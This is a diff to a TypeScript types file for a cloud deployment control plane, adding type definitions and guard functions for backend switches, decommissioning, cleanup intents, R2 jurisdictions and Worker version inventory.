 // SPDX-License-Identifier: Apache-2.0
 
 import type { InitialExecutionFenceState } from '@proofoftech/flowsafe/deployment-identity-protocol';
+import type { HostRoutingTarget } from './host-routing.js';
 
 /**
  * The execution-fence state a freshly provisioned deployment is born in —
@@ -14,6 +15,12 @@ export type { InitialExecutionFenceState };
 
 export type ProvisioningBackendKind = 'plain-worker' | 'workers-for-platforms';
 
+/** One immutable Worker version and its intended deployment percentage. */
+export type OrdinaryWorkerDeploymentVersion = Readonly<{
+  versionId: string;
+  percentage: number;
+}>;
+
 export interface WorkerModule {
   readonly name: string;
   readonly content: string | Uint8Array;
@@ -49,6 +56,11 @@ export interface ExternalPlatformProfile {
   readonly organizationEgressHosts: readonly string[];
 }
 
+export type MaintenanceSigningProfile = Pick<
+  ExternalPlatformProfile,
+  'maintenanceCapabilityPublicKey' | 'maintenanceCapabilityPrivateKey'
+>;
+
 export interface DurableObjectMigration {
   readonly tag: string;
   readonly newSqliteClasses?: readonly string[];
@@ -66,7 +78,17 @@ export interface D1Migration {
   readonly rollbackCompatible?: true;
 }
 
-export type R2Jurisdiction = 'default' | 'eu' | 'fedramp';
+/** The R2 jurisdictions this control plane addresses, in encounter order. */
+export const R2_JURISDICTIONS = Object.freeze([
+  'default',
+  'eu',
+  'fedramp',
+] as const);
+
+export type R2Jurisdiction = (typeof R2_JURISDICTIONS)[number];
+
+/** One R2 jurisdiction, in today's fixed encounter order. */
+export type FleetInventoryR2Jurisdiction = R2Jurisdiction;
 
 /**
  * One Worker's identity plus its D1 and routing claims, as the authoritative
@@ -200,6 +222,8 @@ export const PROVISIONING_PHASES = [
   'publishing',
   'migrating',
   'ready',
+  'decommission-advancing',
+  'cleanup-advancing',
   'decommissioning',
   'traffic-removed',
   'credentials-revoked',
@@ -291,6 +315,189 @@ export interface ExternalPlatformTargetDescription {
   readonly outboundPolicy: DeploymentEgressPolicy;
 }
 
+export const EXTERNAL_MIGRATION_SUBPHASES = [
+  'planned',
+  'schema-applied',
+  'platform-applied',
+  'candidate-deployed',
+  'candidate-armed',
+  'route-published',
+] as const satisfies readonly ExternalMigrationSubphase[];
+
+export const BACKEND_SWITCH_SUBPHASES = [
+  'planned',
+  'bridge-upload-authorized',
+  'bridge-deployed',
+  'candidate-deploy-authorized',
+  'candidate-deployed',
+  'host-publish-authorized',
+  'host-published',
+  'domain-detach-authorized',
+  'dispatch-serving',
+  'bridge-private-authorized',
+  'bridge-private',
+  'ownership-commit-authorized',
+  'ready',
+  'rollback-route-authorized',
+  'rollback-routed',
+  'rollback-drain-authorized',
+  'rollback-drained',
+  'rollback-restore-authorized',
+  'rollback-restored',
+  'rollback-ownership-authorized',
+  'rolled-back',
+  'finalize-authorized',
+  'finalized',
+  'decommission-traffic-authorized',
+  'decommission-traffic-removed',
+  'decommission-candidate-authorized',
+  'decommission-candidate-removed',
+  'decommission-bridge-authorized',
+  'decommission-bridge-removed',
+  'decommission-application-r2-authorized',
+  'decommission-application-r2-removed',
+  'decommission-export-authorized',
+  'decommission-exported',
+  'decommission-database-authorized',
+  'decommissioned',
+] as const;
+
+export type BackendSwitchSubphase = (typeof BACKEND_SWITCH_SUBPHASES)[number];
+
+/**
+ * The subphases at which a backend switch holds nothing: it either rolled back
+ * to the prior deployment or finalized onto the target. Every other subphase
+ * is an operation in flight.
+ */
+export const SETTLED_BACKEND_SWITCH_SUBPHASES = new Set<BackendSwitchSubphase>([
+  'rolled-back',
+  'finalized',
+]);
+
+/**
+ * The subphase a backend-switch teardown reaches once it has committed the
+ * database export and released the application resources it tracked. A record
+ * carrying a switch intent is read as a completed teardown only here.
+ */
+export const RETIRED_BACKEND_SWITCH_SUBPHASE =
+  'decommissioned' satisfies BackendSwitchSubphase;
+
+export interface PlainBackendSnapshot {
+  readonly scriptName: string;
+  readonly artifactVersion: string;
+  readonly specDigest: string;
+  readonly databaseId: string;
+  readonly databaseName: string;
+  readonly durableObjectBindings: readonly DurableObjectBindingInventory[];
+  readonly namespaceIds: readonly string[];
+  readonly secretNames: readonly string[];
+  readonly application?: ApplicationBindingTopology;
+  readonly applicationResources: readonly ApplicationR2Resource[];
+  readonly customDomain: Readonly<{ id: string; hostname: string }>;
+}
+
+export interface BridgeSnapshot {
+  readonly scriptName: string;
+  readonly artifactVersion: string;
+  readonly artifactDigest: string;
+  readonly databaseId: string;
+  readonly durableObjectBindings: readonly DurableObjectBindingInventory[];
+  readonly namespaceIds: readonly string[];
+  readonly secretNames: readonly string[];
+  readonly application?: ApplicationBindingTopology;
+  readonly publicRouteAttached: boolean;
+  readonly stateOnly: boolean;
+}
+
+export interface BridgeMutationPlan {
+  readonly artifactDigest: string;
+  readonly durableObjectMigrations: readonly DurableObjectMigration[];
+  readonly priorDurableObjectTag?: string;
+  readonly targetDurableObjectTag?: string;
+  readonly secretNames: readonly string[];
+  readonly mutationDigest: string;
+}
+
+export interface BackendSwitchCandidateSnapshot
+  extends ExternalReleaseSnapshot {
+  readonly maintenance: Readonly<{
+    receipt: string;
+    specDigest: string;
+  }>;
+}
+
+export interface BackendSwitchApplicationR2Progress {
+  readonly resource: ApplicationR2Resource;
+  readonly subphase: ApplicationR2Resource['state'];
+}
+
+/**
+ * The resource a switch-teardown progress entry tracks, carrying that entry's
+ * subphase as its state. The paths that write a teardown record's
+ * `applicationResources` and the admission that compares a record against it
+ * read this one expression, so a comparison cannot drift from what the write
+ * produced.
+ */
+export function applicationR2ResourceFromProgress(
+  progress: BackendSwitchApplicationR2Progress,
+): ApplicationR2Resource {
+  return { ...progress.resource, state: progress.subphase };
+}
+
+export interface BackendSwitchDecommissionRelease {
+  readonly release: ExternalReleaseSnapshot;
+  readonly subphase: 'present' | 'delete-authorized' | 'deleted';
+}
+
+export interface BackendSwitchDecommissionRouteTarget {
+  readonly release: ExternalReleaseSnapshot;
+  readonly target: ExternalPlatformTargetDescription;
+  readonly routeTarget: HostRoutingTarget;
+}
+
+export interface BackendSwitchDecommissionSnapshot {
+  readonly prior?: PlainBackendSnapshot;
+  readonly restoredArtifactVersion?: string | null;
+  readonly entryPendingArtifactVersion?: string | null;
+  readonly entryPendingNamespaceIds?: readonly string[] | null;
+  readonly providerTargetSpecDigest?: string;
+  readonly routeHostname: string;
+  readonly routeTargets: readonly BackendSwitchDecommissionRouteTarget[];
+  readonly desiredSpecDigest: string;
+  readonly target: ExternalPlatformTargetDescription;
+  readonly releases: readonly BackendSwitchDecommissionRelease[];
+  readonly applicationResources: readonly ApplicationR2Resource[];
+  readonly bridge?: BridgeSnapshot;
+  readonly resources?: ExternalPlatformResources;
+  readonly bridgePlan?: BridgeMutationPlan;
+}
+
+export interface BackendSwitchIntent {
+  readonly kind: 'backend-switch';
+  readonly tenantTag: string;
+  readonly environment: string;
+  readonly prior: PlainBackendSnapshot;
+  readonly targetSpecDigest: string;
+  readonly targetApplication: ApplicationBindingTopology;
+  readonly target: ExternalPlatformTargetDescription;
+  readonly rollbackUntil: string;
+  readonly subphase: BackendSwitchSubphase;
+  readonly bridgePlan?: BridgeMutationPlan;
+  readonly bridge?: BridgeSnapshot;
+  readonly candidate?: BackendSwitchCandidateSnapshot;
+  readonly restoredArtifactVersion?: string;
+  readonly databaseExport?: DatabaseExport;
+  readonly applicationR2Progress?: readonly BackendSwitchApplicationR2Progress[];
+  readonly stateReconcileIntent?: Readonly<{
+    targetSpecDigest: string;
+    plan: BridgeMutationPlan;
+    subphase: 'upload-authorized' | 'uploaded';
+  }>;
+  readonly decommissionSnapshot?: BackendSwitchDecommissionSnapshot;
+  readonly decommissionSnapshotSha256?: string;
+  readonly decommissionEntrySubphase?: BackendSwitchSubphase;
+}
+
 export type ExternalMigrationSubphase =
   | 'planned'
   | 'schema-applied'
@@ -310,9 +517,513 @@ export interface ExternalMigrationIntent {
   readonly subphase: ExternalMigrationSubphase;
 }
 
+export type NormalDecommissionLifecyclePhase =
+  | 'publishing'
+  | 'ready'
+  | 'migrating'
+  | 'rolling-back'
+  | 'decommissioning'
+  | 'traffic-removed'
+  | 'credentials-revoked'
+  | 'worker-deleted'
+  | 'platform-credentials-revoked'
+  | 'platform-resources-deleted'
+  | 'application-resources-deleting'
+  | 'application-resources-deleted'
+  | 'database-exported'
+  | 'database-deleting';
+
+export interface DecommissionRecordIdentity {
+  readonly tenantTag: string;
+  readonly environment: string;
+  readonly backend: ProvisioningBackendKind;
+  readonly scriptName: string;
+  readonly databaseId: string;
+  readonly databaseName: string;
+  readonly routeHostname: string;
+}
+
+export type DecommissionOperationMode =
+  | Readonly<{
+      kind: 'normal';
+      requestedSpecDigest: string;
+      entryLifecyclePhase: NormalDecommissionLifecyclePhase;
+    }>
+  | Readonly<{
+      kind: 'backend-switch';
+      priorSpecDigest: string;
+      targetSpecDigest: string;
+      decommissionSnapshotSha256: string;
+      /** Immutable entry subphase, not the switch's current progress. */
+      backendSwitchSubphase: BackendSwitchSubphase;
+    }>;
+
+export interface DecommissionOperationIdentity {
+  readonly record: DecommissionRecordIdentity;
+  readonly mode: DecommissionOperationMode;
+}
+
+export type DecommissionAttachmentPurpose =
+  | Readonly<{
+      kind: 'application-r2-detach';
+      resourceIndex: number;
+      name: string;
+      bucketName: string;
+      jurisdiction: R2Jurisdiction;
+      reservationNonce: string;
+      creationDate: string;
+    }>
+  | Readonly<{ kind: 'database-pre-export'; databaseId: string }>
+  | Readonly<{
+      kind: 'database-pre-delete';
+      databaseId: string;
+      exportLocation: string;
+      exportSha256: string;
+      exportSize: number;
+    }>;
+
+export type DecommissionBlockedAttachment =
+  | Readonly<{ plane: 'ordinary'; scriptName: string }>
+  | Readonly<{
+      plane: 'dispatch';
+      scriptName: string;
+      dispatchNamespace: string;
+    }>;
+
+export type DecommissionAttachmentProgress =
+  | Readonly<{
+      version: 1;
+      target:
+        | Readonly<{ kind: 'd1'; databaseId: string }>
+        | Readonly<{ kind: 'r2'; bucketName: string }>;
+      evidenceSha256: string;
+      evidenceCount: number;
+      stage: 'ordinary-script-inventory';
+      ordinaryInventorySha256?: string;
+      scriptIndex: number;
+    }>
+  | Readonly<{
+      version: 1;
+      target:
+        | Readonly<{ kind: 'd1'; databaseId: string }>
+        | Readonly<{ kind: 'r2'; bucketName: string }>;
+      evidenceSha256: string;
+      evidenceCount: number;
+      stage: 'ordinary-deployment';
+      ordinaryInventorySha256: string;
+      scriptIndex: number;
+      scriptName: string;
+    }>
+  | Readonly<{
+      version: 1;
+      target:
+        | Readonly<{ kind: 'd1'; databaseId: string }>
+        | Readonly<{ kind: 'r2'; bucketName: string }>;
+      evidenceSha256: string;
+      evidenceCount: number;
+      stage: 'ordinary-version';
+      ordinaryInventorySha256: string;
+      scriptIndex: number;
+      scriptName: string;
+      deploymentSha256: string;
+      versionIndex: number;
+    }>
+  | Readonly<{
+      version: 1;
+      target:
+        | Readonly<{ kind: 'd1'; databaseId: string }>
+        | Readonly<{ kind: 'r2'; bucketName: string }>;
+      evidenceSha256: string;
+      evidenceCount: number;
+      stage: 'dispatch-namespace-inventory';
+      ordinaryInventorySha256: string;
+      namespaceInventorySha256?: string;
+      namespaceIndex: number;
+    }>
+  | Readonly<{
+      version: 1;
+      target:
+        | Readonly<{ kind: 'd1'; databaseId: string }>
+        | Readonly<{ kind: 'r2'; bucketName: string }>;
+      evidenceSha256: string;
+      evidenceCount: number;
+      stage: 'dispatch-script-page';
+      ordinaryInventorySha256: string;
+      namespaceInventorySha256: string;
+      namespaceIndex: number;
+      namespaceName: string;
+      pageStartCursor?: string;
+      pageNumber: number;
+      seenCursorSha256: readonly string[];
+      totalDispatchItems: number;
+      dispatchEvidenceSum256: string;
+      dispatchEvidenceCount: number;
+    }>
+  | Readonly<{
+      version: 1;
+      target:
+        | Readonly<{ kind: 'd1'; databaseId: string }>
+        | Readonly<{ kind: 'r2'; bucketName: string }>;
+      evidenceSha256: string;
+      evidenceCount: number;
+      stage: 'dispatch-script-settings';
+      ordinaryInventorySha256: string;
+      namespaceInventorySha256: string;
+      namespaceIndex: number;
+      namespaceName: string;
+      pageStartCursor?: string;
+      nextCursor?: string;
+      pageSha256: string;
+      pageItemCount: number;
+      itemOffset: number;
+      pageNumber: number;
+      seenCursorSha256: readonly string[];
+      totalDispatchItems: number;
+      dispatchEvidenceSum256: string;
+      dispatchEvidenceCount: number;
+    }>;
+
+export interface DecommissionAttachmentScanEvidence {
+  readonly evidenceSha256: string;
+  readonly evidenceCount: number;
+}
+
+export interface DecommissionIntentCommon {
+  readonly version: 1;
+  readonly operationId: string;
+  readonly revision: number;
+  readonly generation: number;
+  readonly updatedAt: string;
+  readonly identity: DecommissionOperationIdentity;
+  readonly databaseExportReceiptAuthority?: string;
+  readonly lifecyclePhase: NormalDecommissionLifecyclePhase;
+}
+
+export type DecommissionAdvanceIntent =
+  | (DecommissionIntentCommon & Readonly<{ state: 'transitioning' }>)
+  | (DecommissionIntentCommon &
+      Readonly<{
+        state: 'discover';
+        purpose: DecommissionAttachmentPurpose;
+        progress: DecommissionAttachmentProgress;
+      }>)
+  | (DecommissionIntentCommon &
+      Readonly<{
+        state: 'verify';
+        purpose: DecommissionAttachmentPurpose;
+        progress: DecommissionAttachmentProgress;
+        discoverEvidence: DecommissionAttachmentScanEvidence;
+      }>)
+  | (DecommissionIntentCommon &
+      Readonly<{
+        state: 'blocked';
+        purpose: DecommissionAttachmentPurpose;
+        attachment: DecommissionBlockedAttachment;
+      }>)
+  | Readonly<{
+      version: 1;
+      operationId: string;
+      revision: number;
+      generation: number;
+      updatedAt: string;
+      identity: DecommissionOperationIdentity;
+      databaseExportReceiptAuthority: string;
+      lifecyclePhase: 'decommissioned';
+      state: 'complete';
+    }>;
+
+export interface DecommissionAdvanceToken {
+  readonly version: 1;
+  readonly tenantTag: string;
+  readonly environment: string;
+  readonly operationId: string;
+  readonly revision: number;
+}
+
+export type DecommissionAdvanceTokenClassification = 'current' | 'stale';
+
+/** Call-local request for one read-only bounded provider scan chunk. */
+export interface DecommissionAttachmentScanInput {
+  readonly progress: DecommissionAttachmentProgress;
+  /** Reserved provider-attempt ceiling; an integer from 9 through 1,000. */
+  readonly maxProviderRequests: number;
+  /**
+   * Call-local cancellation; never persisted in a shell or Queue token. The
+   * scan checks it before each provider request and hands it to the request
+   * itself, so an in-flight attempt aborts with it.
+   */
+  readonly signal?: AbortSignal;
+}
+
+/** Read-only provider facts; never durable absence or deletion authority. */
+export type DecommissionAttachmentScanResult =
+  | Readonly<{
+      /** More read-only provider work remains. */
+      status: 'pending';
+      progress: DecommissionAttachmentProgress;
+      providerFetchAttemptsReserved: number;
+    }>
+  | Readonly<{
+      /** The first safe Worker attachment found by this chunk. */
+      status: 'attached';
+      attachment: DecommissionBlockedAttachment;
+      providerFetchAttemptsReserved: number;
+    }>
+  | Readonly<{
+      /** This pass completed; evidence is not durable deletion authority. */
+      status: 'complete';
+      evidenceSha256: string;
+      evidenceCount: number;
+      providerFetchAttemptsReserved: number;
+    }>
+  | Readonly<{
+      /** Provider inventory changed; the caller must start a new generation. */
+      status: 'drift';
+    }>;
+
+/** Versioned provider-neutral candidate-invocation authority carrier. */
+export interface InvocationAuthorityCarrier {
+  readonly version: 1;
+  /** ISO timestamp of the durable authorization commit, or null when never authorized. */
+  readonly authorizedAt: string | null;
+}
+
+/** Purpose binding that decommission codecs structurally reject. */
+export interface CleanupAttachmentPurpose {
+  readonly kind: 'cleanup-database-pre-delete';
+  readonly databaseId: string;
+  readonly operationId: string;
+}
+
+/**
+ * Durable scan progress DEFINED here, mirroring the existing
+ * `DecommissionAttachmentProgress` precedent field for field. types.ts does
+ * NOT import cloudflare-worker-attachment-scan-state.ts. There is NO
+ * conversion function: exactly like decommission today, the engine passes
+ * `intent.progress` to the backend scan capability directly and, on a pending
+ * chunk, validates the returned value with `parseWorkerAttachmentScanProgress`
+ * and assigns it structurally (the shapes are identical).
+ */
+export type CleanupAttachmentProgress =
+  | Readonly<{
+      version: 1;
+      target:
+        | Readonly<{ kind: 'd1'; databaseId: string }>
+        | Readonly<{ kind: 'r2'; bucketName: string }>;
+      evidenceSha256: string;
+      evidenceCount: number;
+      stage: 'ordinary-script-inventory';
+      ordinaryInventorySha256?: string;
+      scriptIndex: number;
+    }>
+  | Readonly<{
+      version: 1;
+      target:
+        | Readonly<{ kind: 'd1'; databaseId: string }>
+        | Readonly<{ kind: 'r2'; bucketName: string }>;
+      evidenceSha256: string;
+      evidenceCount: number;
+      stage: 'ordinary-deployment';
+      ordinaryInventorySha256: string;
+      scriptIndex: number;
+      scriptName: string;
+    }>
+  | Readonly<{
+      version: 1;
+      target:
+        | Readonly<{ kind: 'd1'; databaseId: string }>
+        | Readonly<{ kind: 'r2'; bucketName: string }>;
+      evidenceSha256: string;
+      evidenceCount: number;
+      stage: 'ordinary-version';
+      ordinaryInventorySha256: string;
+      scriptIndex: number;
+      scriptName: string;
+      deploymentSha256: string;
+      versionIndex: number;
+    }>
+  | Readonly<{
+      version: 1;
+      target:
+        | Readonly<{ kind: 'd1'; databaseId: string }>
+        | Readonly<{ kind: 'r2'; bucketName: string }>;
+      evidenceSha256: string;
+      evidenceCount: number;
+      stage: 'dispatch-namespace-inventory';
+      ordinaryInventorySha256: string;
+      namespaceInventorySha256?: string;
+      namespaceIndex: number;
+    }>
+  | Readonly<{
+      version: 1;
+      target:
+        | Readonly<{ kind: 'd1'; databaseId: string }>
+        | Readonly<{ kind: 'r2'; bucketName: string }>;
+      evidenceSha256: string;
+      evidenceCount: number;
+      stage: 'dispatch-script-page';
+      ordinaryInventorySha256: string;
+      namespaceInventorySha256: string;
+      namespaceIndex: number;
+      namespaceName: string;
+      pageStartCursor?: string;
+      pageNumber: number;
+      seenCursorSha256: readonly string[];
+      totalDispatchItems: number;
+      dispatchEvidenceSum256: string;
+      dispatchEvidenceCount: number;
+    }>
+  | Readonly<{
+      version: 1;
+      target:
+        | Readonly<{ kind: 'd1'; databaseId: string }>
+        | Readonly<{ kind: 'r2'; bucketName: string }>;
+      evidenceSha256: string;
+      evidenceCount: number;
+      stage: 'dispatch-script-settings';
+      ordinaryInventorySha256: string;
+      namespaceInventorySha256: string;
+      namespaceIndex: number;
+      namespaceName: string;
+      pageStartCursor?: string;
+      nextCursor?: string;
+      pageSha256: string;
+      pageItemCount: number;
+      itemOffset: number;
+      pageNumber: number;
+      seenCursorSha256: readonly string[];
+      totalDispatchItems: number;
+      dispatchEvidenceSum256: string;
+      dispatchEvidenceCount: number;
+    }>;
+
+/** One bounded cleanup attachment-scan pass and its durable progress. */
+export interface CleanupAttachmentScan {
+  readonly purpose: CleanupAttachmentPurpose;
+  readonly pass: 'discover' | 'verify';
+  readonly progress: CleanupAttachmentProgress;
+  /** Present only during the verify pass. */
+  readonly discoverEvidence?: Readonly<{
+    evidenceSha256: string;
+    evidenceCount: number;
+  }>;
+}
+
+/** Who authorized this cleanup, with persisted rollback attempt facts. */
+export type CleanupAuthority =
+  | Readonly<{ kind: 'manual-cleanup' }>
+  | Readonly<{
+      kind: 'provisioning-rollback';
+      reservationOwned: boolean;
+      databaseOwned: boolean;
+      workerCreatedByAttempt: boolean;
+      workerResourceState: 'absent' | 'present' | 'unknown';
+      requestedSpecDigest: string;
+    }>;
+
+/** One durable cleanup step; one call performs at most one step's group. */
+export type CleanupAdvanceState =
+  | Readonly<{ step: 'teardown-traffic' }>
+  | Readonly<{ step: 'teardown-worker' }>
+  | Readonly<{ step: 'teardown-platform' }>
+  | Readonly<{
+      step: 'r2-deletion';
+      startResourceIndex: number;
+      verifiedDetachmentResourceIndex?: number;
+    }>
+  | Readonly<{ step: 'attachment-scan'; scan: CleanupAttachmentScan }>
+  | Readonly<{
+      step: 'blocked';
+      purpose: CleanupAttachmentPurpose;
+      attachment: DecommissionBlockedAttachment;
+    }>
+  | Readonly<{ step: 'database-deletion' }>;
+
+/**
+ * Durable authority for one bounded cleanup or provisioning-rollback
+ * operation. Cleanup has no terminal intent state — the terminal deletes the
+ * Fleet row — so any present intent is active.
+ */
+export interface CleanupAdvanceIntent {
+  readonly version: 1;
+  readonly operationId: string;
+  readonly revision: number;
+  readonly generation: number;
+  readonly updatedAt: string;
+  readonly authority: CleanupAuthority;
+  readonly identity: Readonly<{
+    record: Readonly<{
+      tenantTag: string;
+      environment: string;
+      backend: ProvisioningBackendKind;
+      scriptName: string;
+      databaseId: string;
+      databaseName: string;
+      routeHostname: string;
+    }>;
+    admittedPhase: ProvisioningPhase;
+    /** backend.immutableExternalArtifacts === true at admission. */
+    externalArtifact: boolean;
+  }>;
+  readonly state: CleanupAdvanceState;
+}
+
+/** Transport-neutral non-authoritative continuation token for one cleanup. */
+export interface CleanupAdvanceToken {
+  readonly version: 1;
+  readonly tenantTag: string;
+  readonly environment: string;
+  readonly operationId: string;
+  readonly revision: number;
+}
+
+/** Terminal evidence recorded on the immutable cleanup receipt. */
+export interface CleanupReceiptEvidence {
+  readonly eligibility:
+    | 'carrier-null'
+    | 'legacy-phase-impossible'
+    | 'reservation-only';
+  readonly ingressRemoved: boolean;
+  readonly workerAbsent: boolean;
+  readonly platformResourcesAbsent: boolean;
+  readonly applicationR2Settled: boolean;
+  readonly databaseAbsentReadback: boolean;
+  /**
+   * Optional discover/verify attachment-scan digests. Receipts written by the
+   * bounded engine omit this pair (the scan gate is proven by the persisted
+   * database-deletion transition); the codec retains it for compatibility.
+   */
+  readonly scan?: Readonly<{
+    discover: Readonly<{ evidenceSha256: string; evidenceCount: number }>;
+    verify: Readonly<{ evidenceSha256: string; evidenceCount: number }>;
+  }>;
+}
+
+/** Operation-keyed immutable terminal receipt persisted outside the Fleet row. */
+export interface CleanupTerminalReceipt {
+  readonly version: 1;
+  readonly operationId: string;
+  readonly tenantTag: string;
+  readonly environment: string;
+  readonly backend: ProvisioningBackendKind;
+  readonly scriptName: string;
+  readonly databaseId: string;
+  readonly databaseName: string;
+  readonly authority: 'manual-cleanup' | 'provisioning-rollback';
+  readonly admittedPhase: ProvisioningPhase;
+  readonly disposition:
+    | 'prepublication-owned-no-export'
+    | 'reservation-cleared';
+  readonly evidence: CleanupReceiptEvidence;
+  /** D1-assigned; present on every read/return path, absent only on the caller-constructed input. */
+  readonly completedAtMs?: number;
+}
+
 export interface FleetRecord {
   readonly tenantTag: string;
   readonly backend: ProvisioningBackendKind;
+  /** Absence preserves external ownership for legacy WFP rows. */
+  readonly wfpMode?: 'platform-catalog';
   readonly environment: string;
   readonly scriptName: string;
   readonly databaseId: string;
@@ -331,7 +1042,10 @@ export interface FleetRecord {
   readonly platformResources?: ExternalPlatformResources;
   readonly platformTarget?: ExternalPlatformTargetDescription;
   readonly migrationIntent?: ExternalMigrationIntent;
-  readonly backendSwitchIntent?: import('./backend-switch.js').BackendSwitchIntent;
+  readonly backendSwitchIntent?: BackendSwitchIntent;
+  readonly decommissionIntent?: DecommissionAdvanceIntent;
+  readonly cleanupIntent?: CleanupAdvanceIntent;
+  readonly invocationAuthority?: InvocationAuthorityCarrier;
   readonly applicationResources?: readonly ApplicationR2Resource[];
   readonly applicationBindings?: ApplicationBindingTopology;
   readonly durableObjectTag?: string;
@@ -357,6 +1071,83 @@ export interface FleetRecord {
   readonly updatedAt: string;
 }
 
+export function isPlatformCatalogRecord(
+  record: Pick<FleetRecord, 'backend' | 'wfpMode'>,
+): boolean {
+  return (
+    record.backend === 'workers-for-platforms' &&
+    Object.hasOwn(record, 'wfpMode') &&
+    record.wfpMode === 'platform-catalog'
+  );
+}
+
+export function effectiveLifecyclePhase(
+  record: FleetRecord,
+): ProvisioningPhase {
+  if (record.phase === 'cleanup-advancing') {
+    if (!record.cleanupIntent) {
+      throw new Error('cleanup-advancing record has no active cleanup intent');
+    }
+    return 'cleanup-advancing';
+  }
+  if (record.cleanupIntent) {
+    throw new Error('fleet record has inconsistent cleanup intent state');
+  }
+  const intent = record.decommissionIntent;
+  if (record.phase === 'decommission-advancing') {
+    if (!intent || intent.state === 'complete') {
+      throw new Error(
+        'decommission-advancing record has no active decommission intent',
+      );
+    }
+    return intent.lifecyclePhase;
+  }
+  if (
+    intent &&
+    !(record.phase === 'decommissioned' && intent.state === 'complete')
+  ) {
+    throw new Error('fleet record has inconsistent decommission intent state');
+  }
+  return record.phase;
+}
+
+export function assertNoActiveDecommission(
+  record: FleetRecord,
+  operation: string,
+): void {
+  if (
+    record.phase === 'decommission-advancing' ||
+    (record.decommissionIntent &&
+      !(
+        record.phase === 'decommissioned' &&
+        record.decommissionIntent.state === 'complete'
+      ))
+  ) {
+    throw new Error(`${operation} cannot run during an active decommission`);
+  }
+}
+
+/**
+ * Whether a bounded cleanup holds this record. Cleanup has no terminal intent
+ * state — the terminal deletes the Fleet row — so ANY present intent is
+ * active.
+ */
+export function hasActiveCleanup(record: FleetRecord): boolean {
+  return (
+    record.phase === 'cleanup-advancing' || record.cleanupIntent !== undefined
+  );
+}
+
+/** Refuses lifecycle entries while a bounded cleanup is active. */
+export function assertNoActiveCleanup(
+  record: FleetRecord,
+  operation: string,
+): void {
+  if (hasActiveCleanup(record)) {
+    throw new Error(`${operation} cannot run during an active cleanup`);
+  }
+}
+
 export interface MaintenanceHealth {
   readonly armed: boolean;
   readonly nextAlarmAt: number | null;
@@ -401,11 +1192,36 @@ export interface LiveDeployment {
   readonly maintenance: MaintenanceHealth;
 }
 
-export interface DatabaseExport {
+/** Independently verified byte integrity for one complete database export. */
+export interface DatabaseExportIntegrity {
+  /** Positive safe-integer byte length of the complete export. */
+  readonly size: number;
+  /** Lowercase hexadecimal SHA-256 digest of the complete export. */
+  readonly sha256: string;
+}
+
+/**
+ * Immutable identity of one durable database-export receipt.
+ *
+ * `authority` identifies the configured storage root and must remain unchanged
+ * for every retry. Reusing the same complete identity converges only when the
+ * already-committed export has exact byte integrity; a collision is preserved
+ * and refused.
+ */
+export interface DatabaseExportReceiptIdentity {
+  /** Receipt derivation version. Version 1 is permanently stable. */
+  readonly version: 1;
+  /** Canonical identifier of the immutable receipt storage authority. */
+  readonly authority: string;
+  /** Immutable provider database identifier. */
+  readonly databaseId: string;
+  /** Durable UUIDv4 operation identifier reused by every retry. */
+  readonly operationId: string;
+}
+
+export interface DatabaseExport extends DatabaseExportIntegrity {
   readonly databaseId: string;
   readonly location: string;
-  readonly sha256: string;
-  readonly size: number;
 }
 
 export interface FleetInventoryDeployment {
@@ -454,6 +1270,7 @@ export interface FleetInventoryFinding {
 }
 
 export interface FleetResourceInventory {
+  readonly unavailableR2Jurisdictions: readonly FleetInventoryR2Jurisdiction[];
   readonly findings: readonly FleetInventoryFinding[];
   /** Canonical HOSTS namespace assigned by the fleet control plane. */
   readonly hostRoutingKvId?: string;
@@ -518,6 +1335,221 @@ export interface PlainWorkerCustomDomain {
   readonly service: string;
 }
 
+/** Provider facts for one D1 database inventory entry. */
+export interface PlainWorkerDatabaseInventoryEntry {
+  /** Provider database identifier, when present and well formed. */
+  readonly databaseId: string | undefined;
+  /** Provider database name, when present and well formed. */
+  readonly name: string | undefined;
+}
+
+/** Provider facts for one ordinary Worker version binding. */
+export type PlainWorkerVersionBinding =
+  | Readonly<{
+      type: 'd1';
+      name: string | undefined;
+      databaseId: string | undefined;
+    }>
+  | Readonly<{
+      type: 'durable-object';
+      name: string | undefined;
+      className: string | undefined;
+      namespaceId: string | undefined;
+      /** Optional provider script selector retained without reinterpretation. */
+      scriptName?: string;
+      /** Optional provider dispatch selector retained without reinterpretation. */
+      dispatchNamespace?: string;
+    }>
+  | Readonly<{
+      type: 'service';
+      name: string | undefined;
+      service: string | undefined;
+      /** Optional service entrypoint retained for exact-version comparison. */
+      entrypoint?: string;
+    }>
+  | Readonly<{
+      type: 'queue-producer';
+      name: string | undefined;
+      queueName: string | undefined;
+    }>
+  | Readonly<{
+      type: 'r2-bucket';
+      name: string | undefined;
+      bucketName: string | undefined;
+      /** Provider-observable jurisdiction when Fleet can represent it. */
+      jurisdiction?: 'eu' | 'fedramp';
+    }>
+  | Readonly<{
+      type: 'plain-text';
+      name: string | undefined;
+      value: string | undefined;
+    }>
+  | Readonly<{
+      type: 'secret-text';
+      name: string | undefined;
+    }>
+  | Readonly<{
+      type: 'unsupported';
+      name: string | undefined;
+      /** The provider binding was not an object, so it has no raw type fact. */
+      issue: 'not-object';
+    }>
+  | Readonly<{
+      type: 'unsupported';
+      name: string | undefined;
+      /** Raw provider binding type, when the invalid wire value was a string. */
+      providerType: string | undefined;
+      issue: 'invalid-type';
+    }>
+  | Readonly<{
+      type: 'unsupported';
+      name: string | undefined;
+      /** Raw unsupported provider binding type. */
+      providerType: string;
+      issue: 'unsupported-type';
+    }>
+  | Readonly<{
+      type: 'unsupported';
+      name: string | undefined;
+      /** Supported raw provider type whose decision fields were malformed. */
+      providerType:
+        | 'd1'
+        | 'durable_object_namespace'
+        | 'service'
+        | 'queue'
+        | 'r2_bucket'
+        | 'plain_text'
+        | 'secret_text';
+      /** Prevents malformed supported input from being normalized lossily. */
+      issue: 'malformed-supported-binding';
+    }>;
+
+/** Provider facts for one ordinary Worker version summary. */
+export interface PlainWorkerVersionSummary {
+  /** Provider version identifier, when present and well formed. */
+  readonly versionId: string | undefined;
+  /** Fleet tag attached to the version, when present and well formed. */
+  readonly tag: string | undefined;
+}
+
+/** Provider facts for one ordinary Worker version and its bindings. */
+export interface PlainWorkerVersionDetail extends PlainWorkerVersionSummary {
+  /** Provider bindings attached to the version. */
+  readonly bindings: readonly PlainWorkerVersionBinding[];
+}
+
+/** Provider facts for an ordinary Worker's deployment status. */
+export interface PlainWorkerDeploymentStatus {
+  /** Traffic assignments reported by the provider. */
+  readonly versions: readonly {
+    /** Provider version identifier, when present and well formed. */
+    readonly versionId: string | undefined;
+    /** Provider traffic percentage, when present. */
+    readonly percentage: number | undefined;
+  }[];
+}
+
